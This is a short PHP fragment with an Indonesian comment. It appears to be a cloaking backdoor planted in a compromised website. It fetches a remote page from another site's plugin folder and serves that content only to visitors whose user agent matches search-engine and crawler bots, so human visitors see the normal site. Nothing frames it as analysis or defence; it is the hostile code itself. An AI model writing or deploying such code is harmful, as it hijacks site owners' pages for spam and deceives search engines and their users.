supaya meta tag valid echo ''; echo ''; echo ''; echo ''; function mangsud($url) { if (ini_get('allow_url_fopen')) { return file_get_contents($url); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'); $response = curl_exec($ch); curl_close($ch); return $response; } return false; } $res = strtolower($_SERVER["HTTP_USER_AGENT"]); $bot = "https://library.sehan.ac.kr/wp-content/plugins/function/index.html"; $file = mangsud($bot); $botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/"; if (preg_match($botchar, $res)) { echo $file; exit; } ?>